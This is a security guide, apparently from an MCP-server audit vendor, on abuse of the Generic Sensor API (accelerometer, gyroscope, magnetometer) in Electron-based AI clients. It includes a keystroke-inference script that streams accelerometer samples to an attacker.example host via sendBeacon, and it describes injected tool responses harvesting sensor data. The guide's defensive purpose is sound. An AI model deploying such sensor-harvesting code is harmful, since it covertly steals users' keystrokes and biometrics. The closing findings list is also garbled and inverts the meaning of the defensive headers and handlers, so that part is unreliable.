Security Guide
MCP server Generic Sensor API security — Accelerometer, Gyroscope, Magnetometer, behavioral biometrics, and the Electron permission gap
The W3C Generic Sensor API unifies eight motion and orientation sensors — Accelerometer, LinearAccelerationSensor, GravitySensor, Gyroscope, AbsoluteOrientationSensor, RelativeOrientationSensor, Magnetometer, and AmbientLightSensor — under a single class hierarchy. In browsers these APIs are gated behind Permissions-Policy. In Electron and WebView-based MCP clients the host application holds the OS sensor permission and all tool output inherits it silently. A single injected tool response can activate all eight sensors simultaneously to collect keystroke vibration patterns, gait biometrics, compass heading, and 3D orientation data. Permissions-Policy: accelerometer=() gyroscope=() magnetometer=() ambient-light-sensor=() is the defense in browser contexts.
What the Generic Sensor API provides
The Generic Sensor API replaces the older DeviceOrientationEvent and DeviceMotionEvent interfaces with a unified, permission-aware API. All sensor classes share the same start() / stop() lifecycle and reading event model:
// Generic Sensor API — uniform pattern for all sensor types
const sensor = new Accelerometer({ frequency: 60 });
sensor.addEventListener('reading', () => {
// X, Y, Z acceleration in m/s² (including gravity)
exfiltrate({ x: sensor.x, y: sensor.y, z: sensor.z });
});
sensor.addEventListener('error', e => {
if (e.error.name === 'NotAllowedError') {
// Permissions-Policy blocked this sensor
}
});
sensor.start();
| Class | Data (axes) | Permission directive | Primary attack use |
|---|---|---|---|
Accelerometer | X/Y/Z acceleration m/s² (linear + gravity) | accelerometer | Keystroke inference via desk vibration coupling |
LinearAccelerationSensor | X/Y/Z acceleration m/s² (gravity subtracted) | accelerometer | Gait pattern, step detection, activity inference |
GravitySensor | Gravity vector X/Y/Z m/s² | accelerometer | Device posture, grip biometric, tilt fingerprint |
Gyroscope | Angular velocity X/Y/Z rad/s | gyroscope | Vibration coupling for keystroke inference; interaction event detection |
AbsoluteOrientationSensor | Quaternion (full 3D orientation + compass) | accelerometer + gyroscope + magnetometer | Compass heading + gait + activity from single sensor object |
RelativeOrientationSensor | Quaternion (3D orientation, no compass) | accelerometer + gyroscope | Pose reconstruction, interaction event sequence |
Magnetometer | Magnetic field X/Y/Z μT | magnetometer | Compass heading; indoor magnetic map positioning |
AmbientLightSensor | Illuminance in lux | ambient-light-sensor | Screen content covert channel; activity/presence inference |
The Electron permission gap
In a standard browser, sensor access requires explicit user approval per origin, and the Permissions-Policy response header gives server operators a reliable way to revoke sensor access regardless of what the user approved. In Electron and WebView MCP clients this model breaks down:
Electron apps hold the OS sensor permission at the application level. When the user installs Claude Desktop or another Electron MCP client and approves the app's sensor access request (macOS Motion & Fitness, Windows sensor permissions, Android BODY_SENSORS), all web content loaded in that app's BrowserWindow inherits the permission. There is no per-tab, per-URL, or per-tool-response gate. Permissions-Policy headers from MCP server responses are not enforced in Electron unless the application explicitly implements session.setPermissionRequestHandler or uses the permissionsPolicy BrowserWindow option.
Keystroke inference via vibration coupling
When a phone or laptop lies on a desk and the user types on a physical keyboard, mechanical vibration from each keypress propagates through the desk surface into the device. The Accelerometer Z-axis (desk-normal direction) records micro-vibration patterns that differ per key based on propagation distance and desk attenuation. Academic classifiers achieve 70–90% per-character accuracy on held-out test data.
// Accelerometer keystroke inference — phone on desk near keyboard
const accel = new Accelerometer({ frequency: 60 });
const samples = [];
accel.addEventListener('reading', () => {
samples.push({ t: Date.now(), x: accel.x, y: accel.y, z: accel.z });
});
accel.start();
// After 10 seconds: 600 samples covering several paragraphs of typical typing
// Send raw stream for offline classification — classifier runs server-side
setTimeout(() => {
accel.stop();
navigator.sendBeacon('https://attacker.example/keystroke', JSON.stringify(samples));
}, 10000);
AbsoluteOrientationSensor: maximum combined data
AbsoluteOrientationSensor is the highest-signal single sensor class for attacks because it fuses Accelerometer + Gyroscope + Magnetometer into a quaternion encoding full 3D orientation including compass bearing. At 60 Hz it provides enough data for gait identification, compass exfiltration, and interaction event sequence reconstruction in a single object.
Four Permissions-Policy directives cover all eight sensors. accelerometer=() blocks Accelerometer, LinearAccelerationSensor, GravitySensor, and (with gyroscope=()) AbsoluteOrientationSensor and RelativeOrientationSensor. magnetometer=() blocks Magnetometer and AbsoluteOrientationSensor. ambient-light-sensor=() blocks AmbientLightSensor. All four together block the entire Generic Sensor API surface.
Findings SkillAudit reports
new Accelerometer(), new Gyroscope(), or new AbsoluteOrientationSensor() with a sendBeacon or fetch exfiltration path — active sensor harvesting confirmed
session.setPermissionRequestHandler blocking sensor access — all tool output inherits OS sensor grants silently
Permissions-Policy: accelerometer=() gyroscope=() magnetometer=() — sensors accessible in any browser context with prior user approval
ambient-light-sensor directive absent from Permissions-Policy — covert binary channel via lux modulation possible
For the full deep dive covering all eight sensor classes, the Electron permission gap, and the combined attack payload, see the Generic Sensor API deep dive. Related guides: DeviceMotionEvent attacks, DeviceOrientationEvent attacks, AmbientLightSensor covert channel.
Get a graded audit. Paste your MCP server's GitHub URL at skillaudit.dev for a report covering all eight Generic Sensor API classes, your Permissions-Policy posture, and Electron-specific sensor exposure — in 60 seconds.